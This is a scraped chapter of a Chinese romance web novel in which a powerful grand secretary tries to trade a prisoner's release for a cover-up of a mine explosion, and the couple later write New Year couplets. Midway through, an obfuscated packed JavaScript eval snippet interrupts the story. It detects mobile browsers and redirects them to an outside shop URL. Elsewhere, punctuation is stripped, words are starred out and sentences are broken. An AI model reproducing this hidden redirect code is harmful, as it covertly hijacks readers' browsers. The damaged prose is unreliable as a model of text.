123读书网 > 玄幻小说 > 权嫁 > 第59章
    信纸展开,褚堰垂眸,看着上面一行行字迹,面无表情。


    “我想你们该也知道这事了,”安贤开口,手往榻边的手扶上一搭,“褚家大爷在录州出了点儿麻烦。你手里这封信,便是我一位当地友人送来的。”


    安明珠将话听入耳中,但是并不言语,只是低着头继续聆听。


    只听安贤继续道:“详细发生了什么,信上已经写清楚。”


    褚堰已将信看完,慢条斯理的折好信纸,也就抬眸看去榻上之人:“谢中书令大人告知。”


    事情与他这边知道的差不多,只是更为详细。并且,连褚泰的身体状况,以及在哪间牢房都写得清楚。


    他也明白,安贤口中所谓的友人,不过就是依附安家的地方官员。


    “不用这么客套,”安贤道声,遂看眼一声不吭的孙女儿,“你是明娘的夫君,我安家的女婿,不过就是一封信而已。”


    褚堰一笑,将信塞进信封,而后送回了榻上小几上。


    安贤扫眼那枚信封,缓缓开口:“明日便是小年节,再几日后便是年节,褚堰你就不想着将人接回来?毕竟年节,阖家团圆,他是你兄长,独自撂在异地的牢狱里,不太好啊!”


    “这个,”褚堰面色不变,出口的话也平稳,“的确是他犯错在先,并不是想接人就能接回来,要当地的官府审理出结果才行。”


    安贤抬了抬苍老的眼皮,眸色浑浊:“你在官场也快三年了,有些事情想必也懂。那种小对方,官员对于事情是能推后就推后,而且正值年底,要等着审理出结果,怕是要等到明年了。如此,家里长辈怎能不担心?一家子,又怎么能安心过好这个年?”


    一旁,安明珠余光看向祖父,她晓得,他不会无故提起褚泰的事。再看褚堰,他面色如常,端的是一幅高洁清隽。


    “下官明白,”褚堰淡淡一声,直视前方那双严厉的眼,“只是为官者,不能滥用职权。”


    闻言,安贤笑了一声,可脸上又完全没有笑意:“褚堰,你是不是没搞清楚?你大哥是伤人案,若对方**,那就是**案了!”


    他刻意将“**”二字咬重,然后就盯着年轻男子。


    “要是你大哥背上人命,御史台会做什么,想必你比本官更清楚,”安贤也不再拐弯抹角,挑清楚来说,“届时,别说升迁三品,就是如今的四品给事中,也不


    一定坐得稳当。”


    这话,让安明珠听得一惊,手心不禁攥紧。


    而这时,她明确感觉到祖父看向这边来,顿时,后背觉得发冷。


    果然,下一瞬安贤便问上了她:“明娘,你也说说看,褚家大爷的事该怎么办?”


    安明珠慢慢抬头,便对上祖父冷沉的脸:“明娘是女子,实在不懂这些。我早上按照婆婆的意思,已经给东州褚家去了信,想看看本家怎么安排。”


    她的回答并不是安贤想要的,可偏偏又一点儿错处没有。


    “真是和你爹一样,不思长进。”安贤冷哼一声,遂将视线再次投向褚堰,“如今那信差还没走,褚大人若有想说的,眼下最好做决定。”


    褚堰只是对方:“决定?”


    安贤也明白,说到现在了,没必要再打哑谜:“一句话,让录州官衙将案子赶紧结了,褚家大爷便会无事归家。”


    “所以,案子结了后,那原告伤者若**,也怨不到褚泰身上。”褚堰亦是顺着对方的话,往下说着。


    安贤扯了下嘴角,显得有些皮笑肉不笑:“那原告本就是当地的泼皮,说不准就是见褚大爷是外乡人,故意讹之。”


    安明珠越听越心惊,祖父这完全就是引着褚堰往陷阱中去……


    房中陷入短暂的安静,三个人,各怀心思。


    “下官不明白,”褚堰打破安静,声音清朗,“中书令为何要这样做?”


    安贤浑浊的眼中生出些许欣赏:“褚堰,第一次见到你,本官就觉得你会成为一个了不得的人物,你身上有些东西像极了本官。不错,本官还有一事,是关于……”


    “祖父,”安明珠在这时开口,将人未说完的话打断,然后便见对方投来不悦的眼神,可她不去管,尽量使自己语气平顺,“你与大人有事商量,我便不打搅了。”


    她想离开,她不要留在这儿。


    话都说到这里了,她如何不知道他们接下来会说什么?她不想知道,也不想去掺和。


    屋中的两个男人俱是看着她,各有各的心思。


    褚堰走到妻子身旁,看清了她眼中挣扎和拒绝,问了声:“去了一趟大安寺,夫人想来是累了。”


    他的意思很明显,让她离开,去外面或是哪里等着他就好。


    可是,安贤显然不这么想,闻言道:“明娘你不能走,你是安家的姑娘,是褚家的妇,自该一起商议的。若是累了,去椅子上


    坐下就好。”


    他怎么可能让这个孙女儿走?如今还要靠着她与褚堰的这段婚姻。


    一直以来他都以为孙女儿抓不住褚堰的心现在看来是他先前看错了。这位孙女婿显然是在意的。


    祖父的一句话安明珠只能留下来。她低下头去却知道褚堰还在看着她。


    “好了我继续说”安贤仍旧坐得四平八稳就好似所有事都在他掌握之中“褚堰录州的事本官友人可以帮褚家;所以你也在魏家坡矿道的事上帮一把安家。”


    事情到了这里彻底明摆出来。


    安明珠只觉头疼还有这些兰花香气其实并不好闻搅得人心慌气闷。


    就和她之前猜的一样祖父就是拿褚泰来换二叔安修然。确切来说褚泰的事牵扯着褚堰的前程。


    祖父可以让人帮褚泰反之亦然。


    所以褚堰那边两个选择答应和不答应。也就是他今日决定会走向两条不同的路。


    彻底拉拢到安家这边抑或完全站去安家对立面……


    而她就这样留下来面对这场直白的残忍。


    她出奇的平静和安静倒让褚堰生出担忧与心疼:“明娘?”


    安明珠看看他没说什么。


    “褚堰啊”安贤捡起小几上的信指尖捻着“你们二叔虽然性子急但是没那个胆子炸**定是被人算计了。安家在朝堂上树敌颇多暗箭难防呐!”


    褚堰听了道:“我去了魏家坡自然会彻查清楚。”


    每个字都清清楚楚他说彻查清楚。


    “你这个彻查是何意?”安贤问想确定是不是自己想要的那个彻查。


    褚堰缓缓开口


    “你!”安贤抬手指着他脸色瞬间阴沉下来“当真如此?”


    褚堰颔首明白的表明态度。


    他明白一旦查起来先不管炸矿道是谁的主意但是安修然抓矿工的事肯定会连带上届时安家不会好过。


    安贤忽而一笑看向孙女儿:“明娘祖父年纪大了已经没了大儿子现在还要失去二儿子吗?”


    安明珠并不说话才发现她一直想置身事外到头来并不是。是安家的姑娘是褚堰的妻子她根本躲不开。


    “中书令大人”褚堰走到妻


    子前面,将她护在身后,“这些不关明娘的事。”


    安贤奇怪的看他,冷冷道:“褚大人如今在做的,不就是与安家为敌吗?怎么会以为,明娘与这些是无关?”


    褚堰并不理会,他想说的已经说完,不想继续留在这里:“天不早了,我带明娘回去了。”


    说完,他冲榻上的人弯腰一礼,而后抓上妻子的手,带着她往外走。


    安明珠被带着迈开脚步,跟在男人身后。


    还未走到门边,忽的,有人从外面猛地将书房门推开,接着踉踉跄跄的跑进来。


    是卢氏,披头散发的冲进书房来,后面的下人竟是没拦住。


    “爹,你救救修然!”她看见了坐在榻上的公公,扑着跪在人脚下,哭着祈求。


    冷风顺着门冲进了书房,将摆在花架上的娇兰,吹得瑟瑟发抖。


    安贤本就心中烦躁,见到卢氏这幅样子,内里火气更大:“如此嚎哭,成何体统!”


    到如今,卢氏哪还顾得上体面?慌忙抹了抹脸上的泪,哑着嗓子:“爹,夫君他不会炸**的,快把他接回来吧,快过年了,家里都等着他……”


    安贤皱眉,对站在门外的下人勾勾手:“把她带下去!”


    几个下人得令,走进书房来,拉着卢氏就往外走。


    卢氏哪里肯?声音更大:“爹,你不能不管修然。就算你不管,也让我进宫一趟,我去求卢嫔娘娘!”


    “闭嘴!”安然大喝一声。


    卢氏对下人又打又抓的,疯了一样。


    蓦的,她看见站在门边的安明珠,遂挣脱开,朝着冲过去:“明娘你……”


    还未待她靠近,便被褚堰伸手拦住。


    “褚堰?”卢氏认出面前的人,连想都没想的就跪下去,“你救救你二叔吧,以前都是我错,我不该拿捏明娘,不该苛待大嫂,不该听他人谗言,打庄子的主意……”


    安明珠在对方一堆乱糟糟的话里,抓到两个字:谗言。


    “是谁让你动我娘的田产的?”她从褚堰身后走出。


    卢氏满脸泪,形容憔悴,哪还有昔日的一点儿贵气?听了安明珠的问话,她抬起脸来,眼中略略呆滞。


    “你说谁?”


    安贤已经火冒三丈,气得从榻上站起:“把她拉下去,都聋了?”


    下人们七手八脚的将卢氏拖了出去,走出老远去,还能听到她凄厉的哭喊。


    安明珠跨步走出书房,外头的亮光


    ,将她眼睛刺得一眯。


    看卢氏方才的样子,那魏家坡矿道的事,想必是非常严重。


    眼睛适应了外头的光线,也就看清了这围墙内的宅院深深。总感觉现在的安家,完全是在一片风雨飘摇中。


    她走上书房外的那一孔小石桥,桥下那一汪水早已结冰。


    耳边听见瓷器的碎裂声,那是书房中,祖父摔了精美的花瓶。


    这时,一只温暖的手握上她的。她侧着脸仰起,看到男人好看的脸。


    他的另只手抚上她的脸颊,眼神柔和的看她:“明娘,我们回家。”


    “回家?”安明珠心中琢磨着这两个字,他说的家定然是褚家。


    “嗯,你说的,今日要把画作完。”褚堰点头,在前面带着她,让她一直跟在自己身旁。


    一直到上了马车,他也没松开她的手。


    安明珠才将坐下,便被身旁男人抱住,搂着她靠在自己身前。


    “明娘,这些事你不用去管,我来处理。”褚堰轻声说着,然后哄着般问她,“想不想吃糖球?我下去给你买。”


    安明珠摇摇头,胸口堵得厉害,根本不想吃什么:“所以,矿道的事很严重?”


    祖父都亲自出面了,可想而知。


    “这个,”褚堰薄唇抿平,低头看着任由自己抱着的女子,“得去看了才知道。”


    头一回,她没有因为他的亲近而推拒,显然是在寻思那满满的心事。


    “你知道吧,”安明珠轻声开口,好听如珠玉相碰,“祖父他,可能不会……”


    她终究说不下去。


    今日,褚堰明确选了一条路,是安家的对立面。她知道,这样的话,后面祖父不会对褚堰再客气。


    其实她早就知道会有这天,是因为祖父在朝中权利太大了,官家怎么可能坐视不管?所以,褚堰出现了,他有能力,官家便栽培,最终会与祖父形成分庭抗衡之势。


    之前,舅舅说褚堰后面会任职兵部尚书,可她却觉得,他的位置在吏部,吏部尚书!


    “明娘,我看时候还早,要不再去大安寺看看吧,说不准现在人少了。”褚堰道,眉间跟着蹙起。


    其实,他也明白,妻子现在的处境很尴尬。她没有错,却要夹在他和安贤中间。


    安明珠稳了稳心绪,扯了下嘴角:“不去了,天快黑了。”


    她不让自己再去多想,因为褚堰还是会继续走下去。魏家坡矿道,他还是会公


    平公正的查到最后。


    而二叔,他要是真做错了,那就得承担。并不会因为有相同的血缘,她就认为他该逃脱,同理,褚泰亦是。


    回到褚家,听说涵容堂那边也在闹腾,谭姨娘始终缠着徐氏,让人想办法救褚泰。


    安明珠直接回了正院,对人说了声想作画,便


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17235664|196845||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    自己一直待在耳房中。


    没有人打搅,她坐在书案后,双目盯着策马图,一眨不眨。


    图已经完成,广袤的原野,起伏的雪山,奔腾的骏马,以及马背上飒爽的男儿们……


    她原想着将图卷起来,然后便送去装裱起来。可从进来后,就一直坐在这里,什么都没做。


    眼看着屋里暗下来,外面日头早已西沉,她仍毫无所觉。


    哒哒,两声敲门响。


    安明珠回过神,看着房门,从封纸上映下的影子,便以猜到是谁:“进来。


    下一刻,碧芷端着茶水进来,不禁往书案后看去:“夫人怎么还不点灯?能看得清画吗?


    她走过去,将茶盏往桌上一放,而后将灯台罩子取下,开始点灯。


    安明珠开始收桌上的图,手里慢慢卷着:“可能累了,睡了一会儿。


    灯点上,房中亮了。


    “今日都怪武嘉平,非说最前面看壁画清楚,等我回头时,夫人和大人已经出了毗卢殿。碧芷一声声解释着,“回来后,才知道你们去了安府。


    “嗯,有点事儿回去了一趟。安明珠淡淡一笑,将画卷好,起身放去墙边书架上。


    碧芷帮着收拾书案,边说着:“大夫人明日是否就要回安府了?


    安明珠站在书架前,手指正搭在隔板上:“说是会回去。


    有些事情改变不了,就像她永远是安家的姑娘,就像母亲无论如何还是要回到安府……


    碧芷并不知她在想什么,拿着几册书过来,利落摆到书架上:“大人也是明日出发去魏家坡,武嘉平正帮着收拾呢,也不知道会去几日?


    “自是事情办完便会回来。安明珠道了声,转身又回去了书案后坐下。


    碧芷点头:“就是这桩事看起来挺麻烦,离年节也就这么几天了。希望能顺利,届时所有人都能回家。


    “回家?安明珠握上茶盏,轻轻重复着这两个字。


    “对啊,回家来,碧芷笑着道,“大人回家来陪夫人过年。


    现在,府里有谁不知道大人与夫人好起


    来了?出双入对的,真真就是郎才女貌。连涵容堂老夫人,还曾私底下打听她,问两人如何。


    安明珠眨下眼睛,跟着笑了笑。


    然而心里却是空空的,说起来,她嫁来褚家,自然这里算是她的家了。可就有有种浮萍无根的虚浮感,不安定。


    归根结底,是因为褚堰和安家的对立,如此的情况下,她和他就算勉强继续做夫妻,也始终不会得到安宁。


    “夫人,时候差不多了,老夫人让去涵容堂用晚膳,顺便商议下小年节的事儿。”


    安明珠说好,简单收拾了下,便去了徐氏那里。


    到了涵容堂,谭姨娘已经不在,说是自己出去找人,想办法救褚泰。徐氏也拦不住,让管事派了个人跟着,省得闹出事来。


    饭菜端上桌,四人围桌而坐。


    徐氏从来不过问褚堰公务上的事,倒是与儿媳更有话说。


    她给安明珠碗中夹了块鸭肉,笑着道:“我啊,给你定了一套头面,过两日就会送过来,是曹家夫人同我一起选的,说样式好看。”


    “娘,让你破费了。”安明珠心中一暖,帮对方填满了茶水。


    徐氏说不破费,又道:“只要你和阿堰好好的,我比什么都高兴。”


    作为母亲,她从没有真的帮过这个儿子,因为大女儿事,和他关系也不再亲近。她一直知道儿子是孤独的,什么事都自己一个人承受。可终究,他现在有了喜欢的人。


    这样的话直接说出来,安明珠羞赧的低下头,同时心里轻轻一叹。


    再抬眼时,碗中又多了块藕夹,是褚堰夹过来的。


    “最后一块,我不和你抢。”他冲她道了声,嘴角藏着一抹笑意。


    安明珠抿紧唇,他现在说这些话,都不避着家里人了。偷偷瞧眼徐氏和褚昭娘,果然都在偷偷的笑。


    饭后,四人坐着闲聊了一会儿,说着明日小年的安排。同时,褚堰要去魏家坡,自然也少不了叮嘱。


    这样简单的说话,让安明珠胸口的闷意减轻不少。


    从涵容堂出来,褚堰自然而然的拉上妻子的手:“画完成了?”


    安明珠嗯了声,没有往回抽手,任由他拉着往前走。


    “那就是你现在有空,是吧?”褚堰问,晃着扣在一起的手,“那就帮帮我,我明日要出门,还不知道什么时候回来,有些事想趁今晚做完。”


    “什么事?”安明珠问。


    褚堰看她,


    另只手点了下她的下颌:“去了你就知道了。”


    他没让下人跟着只带了她一起去了他的书房。


    书房远离府中别的院子


    进了书房后褚堰带着安明珠径直去了里间书房。


    然后就见到了躺在地上的一捆纸。


    褚堰蹲下将外头粗糙的包纸撕开然后将卷在里面的新纸打开。


    瞬间红彤彤的颜色映入眼帘竟是一刀对联纸。平展开来四边皆是三尺长一侧留了白色的底边。


    “年节了把对联和福字写出来”他仰着脸看她微微笑着“我以前没做过这些你教教我。”


    安明珠看眼红纸而后蹲下手指尖抹了下红纸便在指肚上留下一抹红色:“你不会?”


    褚堰嗯了声不再避讳那些过往:“我以前都不算有过家没人教我这些。在山上时老道士也不过年。”


    闻言安明珠想了想而后道:“首先你得知道府里又多少扇门大门屋门房门然后就是裁纸因为各种门的尺寸一样所以大门的一起裁房门的一起裁倒也不费事。”


    见她说道这里不说了褚堰明白上来:“所以写对联才是重头?”


    安明珠点头看着这些红纸便想起以前和父亲写对联。


    安家别的地方他们管不着但是大房院子从来都是父亲亲自写的对联。


    “大人知道对联词怎么写吗?”她问。


    身旁的人并没有回她她转过脸看他发现他正一瞬不瞬看着她。


    -----------------------


    作者有话说:狗子:和夫人一起准备过年了咯[亲亲]